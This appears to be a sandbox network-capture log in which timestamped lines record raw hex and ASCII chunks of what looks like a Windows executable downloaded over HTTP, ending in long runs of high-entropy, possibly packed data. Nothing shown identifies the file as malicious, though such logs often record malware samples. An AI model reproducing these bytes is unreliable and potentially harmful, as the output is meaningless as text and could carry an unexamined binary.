2023-10-13 14:06:04 UTC	66	IN	Data Raw: 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 48 48 3a 6d 6d 3a 73 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~HH:mm:s
2023-10-13 14:06:04 UTC	66	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:04 UTC	68	IN	Data Raw: 32 30 30 30 0d 0a 4a 75 6c 79 00 00 00 00 4a 75 6e 65 00 00 00 00 41 70 72 69 6c 00 00 00 4d 61 72 63 68 00 00 00 46 65 62 72 75 61 72 79 00 00 00 00 4a 61 6e 75 61 72 79 00 44 65 63 00 4e 6f 76 00 4f 63 74 00 53 65 70 00 41 75 67 00 4a 75 6c 00 4a 75 6e 00 4d 61 79 00 41 70 72 00 4d 61 72 00 46 65 62 00 4a 61 6e 00 53 61 74 75 72 64 61 79 00 00 00 00 46 72 69 64 61 79 00 00 54 68 75 72 73 64 61 79 00 00 00 00 57 65 64 6e 65 73 64 61 79 00 00 00 54 75 65 73 64 61 79 00 4d 6f 6e 64 61 79 00 00 53 75 6e 64 61 79 00 00 53 61 74 00 46 72 69 00 54 68 75 00 57 65 64 00 54 75 65 00 4d 6f 6e 00 53 75 6e 00 70 94 42 00 c8 94 42 00 43 4f 4e 4f 55 54 24 00 53 75 6e 4d 6f 6e 54 75 65 57 65 64 54 68 75 46 72 69 53 61 74 00 00 00 4a 61 6e 46 65 62 4d 61 72 41 70 72 4d Data Ascii: 2000JulyJuneAprilMarchFebruaryJanuaryDecNovOctSepAugJulJunMayAprMarFebJanSaturdayFridayThursdayWednesdayTuesdayMondaySundaySatFriThuWedTueMonSunpBBCONOUT$SunMonTueWedThuFriSatJanFebMarAprM
2023-10-13 14:06:04 UTC	76	IN	Data Raw: 45 fc 0b c1 0f b7 Data Ascii: E
2023-10-13 14:06:04 UTC	76	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:04 UTC	76	IN	Data Raw: 32 30 30 30 0d 0a c0 89 45 0c d9 6d 0c 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 51 8a 4d 08 f6 c1 01 74 0a db 2d b0 72 42 00 db 5d 08 9b f6 c1 08 74 10 9b df e0 db 2d b0 72 42 00 dd 5d f8 9b 9b df e0 f6 c1 10 74 0a db 2d bc 72 42 00 dd 5d f8 9b f6 c1 04 74 09 d9 ee d9 e8 de f1 dd d8 9b f6 c1 20 74 06 d9 eb dd 5d f8 9b c9 c3 6a 08 68 88 57 42 00 e8 8f 0d 00 00 33 c0 39 05 14 c1 59 00 74 56 f6 45 08 40 74 48 39 05 c8 72 42 00 74 40 89 45 fc 0f ae 55 08 eb 2e 8b 45 ec 8b 00 8b 00 3d 05 00 00 c0 74 0a 3d 1d 00 00 c0 74 03 33 c0 c3 33 c0 40 c3 8b 65 e8 83 25 c8 72 42 00 00 83 65 08 bf 0f ae 55 08 c7 45 fc fe ff ff ff eb 08 83 65 08 bf 0f ae 55 08 e8 6f 0d 00 00 c3 c3 b8 04 9f 40 00 a3 c0 7d 42 00 c7 05 c4 7d 42 00 eb 95 40 00 c7 05 c8 7d 42 00 9f 95 40 00 c7 05 cc Data Ascii: 2000EmEUQQMt-rB]t-rB]t-rB]t t]jhWB39YtVE@tH9rBt@EU.E=t=t33@e%rBeUEeUo@}B}B@}B@
2023-10-13 14:06:04 UTC	84	IN	Data Raw: c9 41 46 8a 06 57 Data Ascii: AFW
2023-10-13 14:06:04 UTC	84	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:04 UTC	84	IN	Data Raw: 32 30 30 30 0d 0a 3a c3 0f 84 de 01 00 00 8d 51 7f bf 00 40 00 00 3b cb 0f 84 2e 01 00 00 0f be c0 83 f8 53 0f 8f a2 00 00 00 0f 84 8a 00 00 00 83 e8 20 0f 84 08 01 00 00 83 e8 0b 74 56 48 74 47 83 e8 18 74 2f 83 e8 0a 74 22 83 e8 04 0f 85 a1 01 00 00 39 5d f8 0f 85 d9 00 00 00 83 4d 0c 10 c7 45 f8 01 00 00 00 e9 d4 00 00 00 09 55 0c e9 cc 00 00 00 f6 45 0c 40 0f 85 b7 00 00 00 83 4d 0c 40 e9 b9 00 00 00 c7 45 f0 01 00 00 00 e9 a2 00 00 00 f6 45 0c 02 0f 85 98 00 00 00 8b 45 0c 83 e0 fe 83 c8 02 89 45 0c 8b 45 fc 83 e0 fc 0b c2 89 45 fc e9 87 00 00 00 39 5d f8 75 77 83 4d 0c 20 c7 45 f8 01 00 00 00 eb 75 83 e8 54 74 5c 83 e8 0e 74 45 48 74 31 83 e8 0b 74 17 83 e8 06 0f 85 0e 01 00 00 f7 45 0c 00 c0 00 00 75 46 09 7d 0c eb 4c 39 5d f4 75 3c 81 65 fc ff bf Data Ascii: 2000:Q@;.S tVHtGt/t"9]MEUE@M@EEEEEE9]uwM EuTt\tEHt1tEuF}L9]u<e
2023-10-13 14:06:04 UTC	92	IN	Data Raw: 84 c9 0f 84 c2 00 Data Ascii:
2023-10-13 14:06:04 UTC	92	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:05 UTC	92	IN	Data Raw: 32 30 30 30 0d 0a 00 00 0f b6 46 ff 0f b6 c9 e9 a6 00 00 00 68 01 01 00 00 8d 43 1c 56 50 e8 f3 06 00 00 8b 4d e4 83 c4 0c 6b c9 30 89 75 e0 8d b1 e8 7b 42 00 89 75 e4 eb 2a 8a 46 01 84 c0 74 28 0f b6 3e 0f b6 c0 eb 12 8b 45 e0 8a 80 d4 7b 42 00 08 44 3b 1d 0f b6 46 01 47 3b f8 76 ea 8b 7d 08 46 46 80 3e 00 75 d1 8b 75 e4 ff 45 e0 83 c6 08 83 7d e0 04 89 75 e4 72 e9 8b c7 89 7b 04 c7 43 08 01 00 00 00 e8 67 fb ff ff 6a 06 89 43 0c 8d 43 10 8d 89 dc 7b 42 00 5a 66 8b 31 41 66 89 30 41 40 40 4a 75 f3 8b f3 e8 d7 fb ff ff e9 b7 fe ff ff 80 4c 03 1d 04 40 3b c1 76 f6 46 46 80 7e ff 00 0f 85 34 ff ff ff 8d 43 1e b9 fe 00 00 00 80 08 08 40 49 75 f9 8b 43 04 e8 12 fb ff ff 89 43 0c 89 53 08 eb 03 89 73 08 33 c0 0f b7 c8 8b c1 c1 e1 10 0b c1 8d 7b 10 ab ab ab eb Data Ascii: 2000FhCVPMk0u{Bu*Ft(>E{BD;FG;v}FF>uuE}ur{CgjCC{BZf1Af0A@@JuL@;vFF~4C@IuCCSs3{
2023-10-13 14:06:05 UTC	100	IN	Data Raw: 75 14 f6 c1 02 74 Data Ascii: ut
2023-10-13 14:06:05 UTC	100	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:05 UTC	100	IN	Data Raw: 32 30 30 30 0d 0a 0f 50 e8 2f ff ff ff 59 83 f8 ff 75 03 09 45 dc 89 7d fc e8 08 00 00 00 46 eb 84 33 ff 8b 75 e0 a1 20 c2 59 00 ff 34 b0 56 e8 2a bf ff ff 59 59 c3 c7 45 fc fe ff ff ff e8 12 00 00 00 83 7d 08 01 8b 45 e4 74 03 8b 45 dc e8 f7 ad ff ff c3 6a 01 e8 d7 a1 ff ff 59 c3 6a 01 e8 1f ff ff ff 59 c3 8b ff 55 8b ec 83 ec 30 53 33 db f6 45 10 80 56 57 8b f0 89 5d e0 88 5d fe c7 45 d0 0c 00 00 00 89 5d d4 74 09 89 5d d8 c6 45 ff 10 eb 0a c7 45 d8 01 00 00 00 88 5d ff 8d 45 e0 50 e8 59 39 00 00 59 85 c0 74 0d 53 53 53 53 53 e8 a1 92 ff ff 83 c4 14 8b 4d 10 b8 00 80 00 00 85 c8 75 11 f7 c1 00 40 07 00 75 05 39 45 e0 74 04 80 4d ff 80 8b c1 83 e0 03 2b c3 ba 00 00 00 c0 bf 00 00 00 80 74 47 48 74 2e 48 74 26 e8 06 94 ff ff 89 18 83 0e ff e8 e9 93 ff ff Data Ascii: 2000P/YuE}F3u Y4V*YYE}EtEjYjYU0S3EVW]]E]t]EE]EPY9YtSSSSSMu@u9EtM+tGHt.Ht&
2023-10-13 14:06:05 UTC	108	IN	Data Raw: 8d 4d f0 e8 ba 72 Data Ascii: Mr
2023-10-13 14:06:05 UTC	108	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:05 UTC	108	IN	Data Raw: 32 30 30 30 0d 0a ff ff ff 75 24 8d 4d f0 ff 75 20 ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c e8 16 fe ff ff 83 c4 1c 80 7d fc 00 74 07 8b 4d f8 83 61 70 fd c9 c3 8b ff 55 8b ec 56 8b 75 08 85 f6 0f 84 81 01 00 00 ff 76 04 e8 ef 6c ff ff ff 76 08 e8 e7 6c ff ff ff 76 0c e8 df 6c ff ff ff 76 10 e8 d7 6c ff ff ff 76 14 e8 cf 6c ff ff ff 76 18 e8 c7 6c ff ff ff 36 e8 c0 6c ff ff ff 76 20 e8 b8 6c ff ff ff 76 24 e8 b0 6c ff ff ff 76 28 e8 a8 6c ff ff ff 76 2c e8 a0 6c ff ff ff 76 30 e8 98 6c ff ff ff 76 34 e8 90 6c ff ff ff 76 1c e8 88 6c ff ff ff 76 38 e8 80 6c ff ff ff 76 3c e8 78 6c ff ff 83 c4 40 ff 76 40 e8 6d 6c ff ff ff 76 44 e8 65 6c ff ff ff 76 48 e8 5d 6c ff ff ff 76 4c e8 55 6c ff ff ff 76 50 e8 4d 6c ff ff ff 76 54 e8 45 6c ff ff ff 76 58 e8 3d Data Ascii: 2000u$Mu uuuuu}tMapUVuvlvlvlvlvlvl6lv lv$lv(lv,lv0lv4lvlv8lv<xl@v@mlvDelvH]lvLUlvPMlvTElvX=
2023-10-13 14:06:05 UTC	116	IN	Data Raw: 08 03 89 75 f4 7c Data Ascii: u\|
2023-10-13 14:06:05 UTC	116	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:05 UTC	116	IN	Data Raw: 31 66 66 38 0d 0a d3 8b f0 6a 02 c1 e6 02 8d 4d e8 5a 2b ce 3b d0 7c 08 8b 31 89 74 95 e0 eb 05 83 64 95 e0 00 4a 83 e9 04 85 d2 7d e7 8b 35 f8 80 42 00 4e 8d 4e 01 8b c1 99 83 e2 1f 03 c2 c1 f8 05 8b d1 81 e2 1f 00 00 80 89 45 f4 79 05 4a 83 ca e0 42 6a 1f 59 2b ca 33 d2 42 d3 e2 8d 5c 85 e0 89 4d f0 85 13 0f 84 82 00 00 00 83 ca ff d3 e2 f7 d2 85 54 85 e0 eb 05 83 7c 85 e0 00 75 08 40 83 f8 03 7c f3 eb 66 8b c6 99 6a 1f 59 23 d1 03 c2 c1 f8 05 81 e6 1f 00 00 80 79 05 4e 83 ce e0 46 83 65 08 00 33 d2 2b ce 42 d3 e2 8d 4c 85 e0 8b 31 8d 3c 16 3b fe 72 04 3b fa 73 07 c7 45 08 01 00 00 00 89 39 8b 4d 08 eb 1f 85 c9 74 1e 8d 4c 85 e0 8b 11 8d 72 01 33 ff 3b f2 72 05 83 fe 01 73 03 33 ff 47 89 31 8b cf 48 79 de 8b 4d f0 83 c8 ff d3 e0 21 03 8b 45 f4 40 83 f8 Data Ascii: 1ff8jMZ+;\|1tdJ}5BNNEyJBjY+3B\MT\|u@\|fjY#yNFe3+BL1<;r;sE9MtLr3;rs3G1HyM!E@
2023-10-13 14:06:05 UTC	124	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-10-13 14:06:05 UTC	124	IN	Data Raw: c3 8d 42 fe 5e 5f 5b c3 8d 42 fd 5e 5f 5b c3 8d 42 fc 5e 5f 5b c3 ff 25 3c 11 40 00 cc cc cc cc cc cc cc cc cc cc cc cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: B^_[B^_[B^_[%<@
2023-10-13 14:06:05 UTC	132	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:05 UTC	132	IN	Data Raw: 32 30 30 30 0d 0a 47 a4 06 4a fe eb 82 f3 79 c9 c8 f2 de 28 7c 95 48 21 bc ae 5a eb 6d b5 2b 07 3d 4b fd 1e 7a 99 3d d0 88 5d 08 90 ba c1 84 dc 9e 69 16 65 29 d9 87 06 37 24 ba 8c 8c 24 7a 2a 88 11 3d a4 df b8 a5 71 db 44 c5 8c 1e e8 e3 fe 61 47 ab 63 40 63 14 cb 63 b0 b0 39 99 fd 0f 33 b1 9e 89 0e d9 12 32 50 96 fe ce 4f 30 07 4a fa a7 78 8b 18 71 83 dd 19 2b d3 ac b4 77 d2 ec bf 29 d2 91 b2 5e fe 7f 0e f6 e3 0e 0e 72 34 ef 7f d7 4e 8e c3 65 05 51 a7 27 27 d8 5f 99 b7 b7 9d 1c 74 64 59 7a eb e5 f5 1d 45 fb d2 ad 1b 55 b9 54 1b 0d 7b 01 0b 50 09 99 84 6b 5c 27 9e ac 90 67 1c 4c 8a a4 8e 24 9d 0f 82 2e d0 1c 41 a2 1b 50 ae ad 13 fb 72 c4 cc 41 3b 93 43 16 e9 2f b4 12 b9 54 c3 aa 14 89 68 94 00 f0 80 ae 1f 7e 3e b7 55 4c 22 00 f3 dd 28 1b bb 3e 33 d8 d8 1f Data Ascii: 2000GJy(\|H!Zm+=Kz=]ie)7$$z*=qDaGc@cc932PO0Jxq+w)^r4NeQ''_tdYzEUT{Pk\'gL$.APrA;C/Th~>UL"(>3
2023-10-13 14:06:05 UTC	140	IN	Data Raw: 43 8c 0a 34 ed 0f Data Ascii: C4
2023-10-13 14:06:05 UTC	140	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:05 UTC	140	IN	Data Raw: 32 30 30 30 0d 0a f5 a8 7f b6 c4 82 87 02 25 2e b3 d2 12 f6 8f 73 fa 6e 7c 38 22 4d 22 ce cd 2c ff 53 b2 d3 17 75 d0 5e bd ad ad 0a d2 8d a7 a8 9f 3e 44 a8 c4 e1 6f 77 52 1d 47 ac 6a 88 90 7f ec a4 c1 61 29 d4 d3 13 a7 c3 e8 ab e9 31 c1 05 3c 8b d8 75 87 7a 5e 5b 59 26 07 17 d4 ff c2 d0 15 d5 36 28 96 50 21 6a 34 9e c7 a1 a0 99 f0 68 0e 54 ab 66 7a c4 ea cb e6 28 ee 71 1e 9f 6d 7e 5e 33 cf f1 22 34 dc c7 37 35 a0 47 88 63 cc e8 19 44 45 07 66 09 43 dc 78 ee c6 fc 6e a4 53 9c f4 57 00 29 8b 60 d2 06 2d f7 67 11 07 67 85 ed da cd 5f 39 df b0 f6 f8 04 0e 64 31 7c db 49 68 95 ac dd 23 e8 20 54 b4 ea 13 61 a0 ba 55 fe c3 fc 25 73 de 3d 6b 28 5d 3b 9e 59 bf fa 40 ca c3 07 88 4d 5c 43 90 a4 dc 61 1e df 2f 3c 26 4d bf b8 be 10 9a 66 f6 fd cc a7 c0 1f fd b9 4b bd Data Ascii: 2000%.sn\|8"M",Su^>DowRGja)1<uz^[Y&6(P!j4hTfz(qm~^3"475GcDEfCxnSW)`-gg_9d1\|Ih# TaU%s=k(];Y@M\Ca/<&MfK
2023-10-13 14:06:05 UTC	148	IN	Data Raw: 36 ef 30 8b ef 5c Data Ascii: 60\
2023-10-13 14:06:05 UTC	148	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:05 UTC	148	IN	Data Raw: 32 30 30 30 0d 0a eb e8 50 d5 88 54 8b 09 4d c7 42 46 14 5b 7e 8b d6 8f c0 ca 3a b3 5f 45 99 7b 95 d6 8a ad e1 d7 c7 f1 94 b9 92 5e 5d 5a 3d cc b3 cb d4 12 0c 7d ba 14 dc 61 48 ab c5 6f 20 e4 87 bc 6f e7 8f c3 86 19 65 2b fe c1 b0 e3 04 ae e2 4a 56 6a 04 f4 db c2 41 58 b6 f3 e5 0b 62 b7 f5 99 14 ba f7 6f 93 2e 50 b3 57 66 e7 18 97 48 90 0e cd 2c 97 eb f2 3e 89 49 b1 55 b8 02 7e 15 21 5a 43 c2 42 33 0f 25 38 b5 71 4e ea 0a 75 ee ed e1 ab f2 a4 c6 e3 41 e2 22 31 4b f1 cd 9e 42 06 17 e2 fd a4 79 c1 b9 91 67 7c ab 03 76 60 8a 2a 27 19 8c cd a1 17 13 76 57 e3 01 7b 35 1b 6c 8c f7 94 47 9e 79 ad eb 9b 62 eb 8a 9d 6b de 2b 60 df 6e 17 89 ca 6d ce 4d ee f5 d3 21 2d 83 fb fb 41 e0 e2 64 60 34 8b 27 df c7 ae 0d d0 56 9b 69 26 ea b1 04 61 5d a2 bb 19 5c 61 f0 53 47 Data Ascii: 2000PTMBF[~:_E{^]Z=}aHo oe+JVjAXbo.PWfH,>IU~!ZCB3%8qNuA"1KByg\|v`*'vW{5lGybk+`nmM!-Ad`4'Vi&a]\aSG
2023-10-13 14:06:05 UTC	156	IN	Data Raw: be 76 e7 ce 19 a1 Data Ascii: v
2023-10-13 14:06:05 UTC	156	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:05 UTC	156	IN	Data Raw: 32 30 30 30 0d 0a cd 7d e3 db 11 c4 1e 36 f0 d3 ad 09 cc 8d bf fe db 54 68 b1 8f fd 2f 31 d6 82 4a f6 c1 d8 8b f3 2f 2a 35 96 95 40 a7 24 96 df 87 c6 ad f3 5f 8c d0 5f 38 ef 9d 4b c4 19 b4 2c 08 06 b4 b6 2e 0f 82 cd e5 1e 6d 71 72 01 49 8e a1 78 04 cf 90 1b 38 56 8f c7 46 19 36 6a f1 84 e2 a1 6f 23 19 68 f3 0b b0 0c 80 7b 9c d8 a4 41 a5 71 5c c4 49 bf 97 cc f4 a4 bb a6 97 39 4f 8d 1f b8 9e 44 eb 0a b1 a1 ca ec 98 69 fb 12 b4 8b 57 a2 fd 0e d7 2d df 36 56 6a 43 47 8b 35 a5 55 57 1c 22 55 89 b4 dc b2 33 f5 d9 76 67 6e 53 a3 5e ab 97 51 99 db 73 1a c3 ed 21 a9 b7 0f 73 ff 8a 82 7d 01 41 58 51 b1 48 c3 11 d7 82 9c 2a 0d d9 67 4c 11 19 b9 1e 56 5a fb cb be 0c 04 3c 76 cb 96 40 da b4 45 f3 36 5f 60 1c 7e cc a0 c1 49 5a 74 62 64 08 d4 71 d3 94 57 e3 fc fc fd 8f Data Ascii: 2000}6Th/1J/5@$__8K,.mqrIx8VF6jo#h{Aq\I9ODiW-6VjCG5UW"U3vgnS^Qs!s}AXQHgLVZ<v@E6_`~IZtbdqW
2023-10-13 14:06:05 UTC	164	IN	Data Raw: 1f c9 d0 d5 e5 fb Data Ascii:
2023-10-13 14:06:05 UTC	164	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:05 UTC	164	IN	Data Raw: 32 30 30 30 0d 0a 96 7e 39 a3 99 09 42 28 74 6f 6f 66 ce 5f ab 6a 53 65 2e 4a a6 6b 2f e1 c3 68 ad 77 eb 66 5d 5a 76 b7 c0 80 0e ae 1b 83 f5 cc cf e2 fd 0e e3 a1 48 f4 39 a4 ef fa 7f f9 17 f0 61 49 37 64 25 b8 09 9a 94 18 61 ed ad bc 9d f9 f2 d9 53 ac 31 8f a8 4f a4 23 b3 df db 0b 4a f0 e5 4c 88 7d 5b eb 5f 8c 26 73 c1 b5 32 66 dd 8e 3d 19 91 1d 8f 5e 3f 9c 9a 16 6e 5f b4 89 0d e9 55 13 d0 37 7f ed 46 04 fc dc 98 84 c8 34 41 86 ec d5 a4 2b dc db c1 fd 59 c8 05 ec 12 e8 27 09 ca fb b4 de 94 97 88 ff 2f 1d 21 6e 80 ee fc fa 36 69 e2 96 78 ef ba 4b 90 7d 77 32 09 97 23 ed cb 0f 3e 39 8e 1d a4 d1 6e 49 67 53 b8 31 b6 ea a8 bc e5 d1 5a f7 3d 22 17 1d c7 1d 6c 02 64 1b 75 e4 fd 5e 34 00 d0 5e 13 8d 89 9c d2 53 1f 1e 02 ac ef 3b ae c8 40 b8 dc 90 c1 53 d8 10 78 Data Ascii: 2000~9B(toof_jSe.Jk/hwf]ZvH9aI7d%aS1O#JL}[_&s2f=^?n_U7F4A+Y'/!n6ixK}w2#>9nIgS1Z="ldu^4^S;@Sx
2023-10-13 14:06:05 UTC	172	IN	Data Raw: 8b 67 9c 22 c4 15 Data Ascii: g"
2023-10-13 14:06:05 UTC	172	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:05 UTC	172	IN	Data Raw: 32 30 30 30 0d 0a 7e ab 0a 36 4d ab 82 aa 74 db ba ba db 26 28 b9 d0 58 da 7f a4 41 3d 6e e2 d8 5c fc 1d bb 96 2a 66 fa d5 01 a2 a1 8d a5 62 65 fd 79 f5 91 a3 6d 73 ae 0e 34 53 40 74 bc 5f 27 9a e0 a7 a7 ea 42 f3 ad 16 98 2a 38 e2 e5 d2 63 88 95 77 b0 ee 00 43 47 ee 1c f5 b1 77 71 c5 e8 11 32 d3 ce a0 6f 47 23 6a 30 4d 1a bd 22 17 8a c3 94 00 90 ea 09 ca 9a 1f e0 50 9a a9 35 6b 10 b5 de 89 c0 d5 c4 82 4d 09 de 8b 1c 87 d1 84 8f 53 3c a7 9c 09 84 0d 05 b8 b0 31 1e fe 39 1a e4 dd 42 e3 17 62 69 d5 97 4e 04 75 fe 3f 7b f0 e9 f8 79 e1 fa 19 ee 9d d3 ff 9e 73 c0 07 cf d2 c1 32 59 41 11 87 fd a6 22 9c 64 00 f0 6c 11 85 60 cb db ad 70 46 50 c4 58 7a 1a da c3 d9 aa ee 0e 3c 8c 76 ca d7 e5 51 77 1e a2 85 38 67 e9 76 15 b4 ca ba dc 0f 20 69 47 bd 94 8e 60 e9 f7 3e Data Ascii: 2000~6Mt&(XA=n\fbeyms4S@t_'B8cwCGwq2oG#j0M"P5kMS<19BbiNu?{ys2YA"dl`pFPXz<vQw8gv iG`>
2023-10-13 14:06:05 UTC	180	IN	Data Raw: 9e 98 54 80 62 d1 Data Ascii: Tb
2023-10-13 14:06:05 UTC	180	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:05 UTC	180	IN	Data Raw: 31 66 66 38 0d 0a 5e 90 d0 be bb 3b 30 a8 a1 28 83 81 b1 55 ce eb f4 8d 10 34 ab 08 fb 96 91 53 21 6b 1d 63 bd 0d 07 62 1d c4 6e d1 f7 d1 fc f1 57 13 4f 5e d7 6e a3 eb 15 e5 53 aa 4b 72 6e ce da d1 fa 39 88 87 a5 47 1c ae b2 3e 56 ef f8 a2 60 87 7d 6e 04 a1 32 88 02 be 12 3e eb b9 fa 4f fc 88 54 7e 86 8e d8 fd 22 22 58 4f 2e 43 5f ca 0e aa 53 47 96 a5 be 92 b4 70 83 46 76 db 43 d8 c6 5b ad a3 bc f0 23 1a 52 6c b4 76 21 41 b6 7c ca cd b2 77 f4 99 12 31 f2 6b d1 bc 32 c6 dd a7 1c 2f 58 56 bc 19 c6 33 8e 33 2b 76 28 6e 00 43 4c 8f cb 42 e6 2d 82 e0 65 b8 a1 c1 08 c9 f5 bd 00 b4 d4 dc 9e fb 09 09 5a e2 40 8c 6b d3 7d e7 5c 3b ed 09 85 41 06 38 00 9b 97 f1 5c 99 57 b2 2d be ba 39 6e 7e 07 bd 1f 23 fa 3e 99 13 26 d5 34 21 34 c8 9e 25 ad 73 86 84 20 e1 25 62 e5 Data Ascii: 1ff8^;0(U4S!kcbnWO^nSKrn9G>V`}n2>OT~""XO.C_SGpFvC[#Rlv!A\|w1k2/XV33+v(nCLB-eZ@k}\;A8\W-9n~#>&4!4%s %b
2023-10-13 14:06:05 UTC	188	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-10-13 14:06:05 UTC	188	IN	Data Raw: b2 b4 59 77 de 9e d4 20 ba b2 16 d3 be b5 37 54 5d 4f b1 81 97 b6 f2 c7 19 6f 0c de 53 ed 22 5a 25 b4 8d 2f 15 17 a8 4d 70 fd e9 12 bf 2b 80 dd 39 c1 f2 fd d7 43 83 f6 7f b5 fc 26 16 7d ff e9 90 05 00 18 c4 77 71 03 b9 93 be 19 09 b0 e7 8e 00 fb 82 a4 ab 88 f1 6b 92 8f c8 32 bf 98 5e 76 d9 f3 f0 28 d9 9c ba 2b f9 66 c9 62 3b f9 d3 88 93 92 4a 91 63 90 82 f2 7d cf d0 91 e5 96 f5 b4 aa 6d 64 d5 83 69 fb 30 3b 0e 23 2a f5 9b 26 03 a6 44 d9 d0 3c a0 7d e5 28 9a a9 94 b6 53 cb 88 64 14 80 81 1f c1 cd a6 dd 25 d0 8c af 35 d9 7a 85 31 28 33 e5 30 07 9a 20 ae 46 98 63 b0 a2 3c f6 f8 33 1a 84 d9 59 ef e0 0f 55 45 5a 71 3a 3c 0b d0 42 b9 9a 19 59 cc 34 18 53 5e 9c f5 6d ff 42 f8 b5 cd 88 77 4f 58 88 cc 0f f9 05 55 0e d1 de a2 fa 62 c2 65 7c 2b fe 0a 06 07 eb 02 47 Data Ascii: Yw 7T]OoS"Z%/Mp+9C&}wqk2^v(+fb;Jc}mdi0;#*&D<}(Sd%5z1(30 Fc<3YUEZq:<BY4S^mBwOXUbe\|+G
2023-10-13 14:06:05 UTC	196	IN	Data Raw: 0d 0a Data Ascii:
2023-10-13 14:06:05 UTC	196	IN	Data Raw: 32 30 30 30 0d 0a 11 9a e5 71 c5 14 9c 0a b6 db 2c 18 41 09 cf 37 b0 ab f1 bf c9 43 56 ed e5 ad f9 9f 84 52 f4 d4 d9 2b 67 eb 7b 92 2f dd 01 d0 a2 79 33 4f 4e 1a 6e e8 fa 16 49 64 5e 1a ae 23 d0 f4 6b 37 60 25 90 02 c8 73 a7 0f 1e 1a a6 68 79 5d 2f 9a 5e 1e 32 84 57 9d bc da 75 92 a1 63 18 bc d5 f9 4b 11 41 a1 67 8b 74 5a 6a de e1 6f 82 80 91 7c fa 1e 68 b3 ec a1 5b b1 16 d1 0e 95 bc 80 c6 96 9c 1d 79 52 2a 6d b3 b1 3d f6 48 cc 06 91 f7 b0 b9 de 1c 01 3e a8 81 0d a7 be bd 7d 26 f0 39 7d d1 e6 ed cf 35 8c 72 da 26 5d 1b 10 f0 42 43 23 02 9e ab cb ce 50 a7 e5 dc ce 3a 2f 52 49 2c 58 50 91 90 00 b4 23 85 ce b0 35 0a f4 06 7a aa 0d 38 68 12 91 97 f6 93 3f 8b 92 f1 46 4b 6a 09 75 89 69 8f 7e 71 7e d1 c0 c4 99 ce 32 be 3f 54 e1 0d b5 ce f1 e0 35 4b c8 98 e3 72 Data Ascii: 2000q,A7CVR+g{/y3ONnId^#k7`%shy]/^2WucKAgtZjo\|h[yR*m=H>}&9}5r&]BC#P:/RI,XP#5z8h?FKjui~q~2?T5Kr
2023-10-13 14:06:05 UTC	204	IN	Data Raw: cc 62 99 75 64 5d Data Ascii: bud]
2023-10-13 14:06:05 UTC	204	IN	Data Raw: 0d 0a Data Ascii:
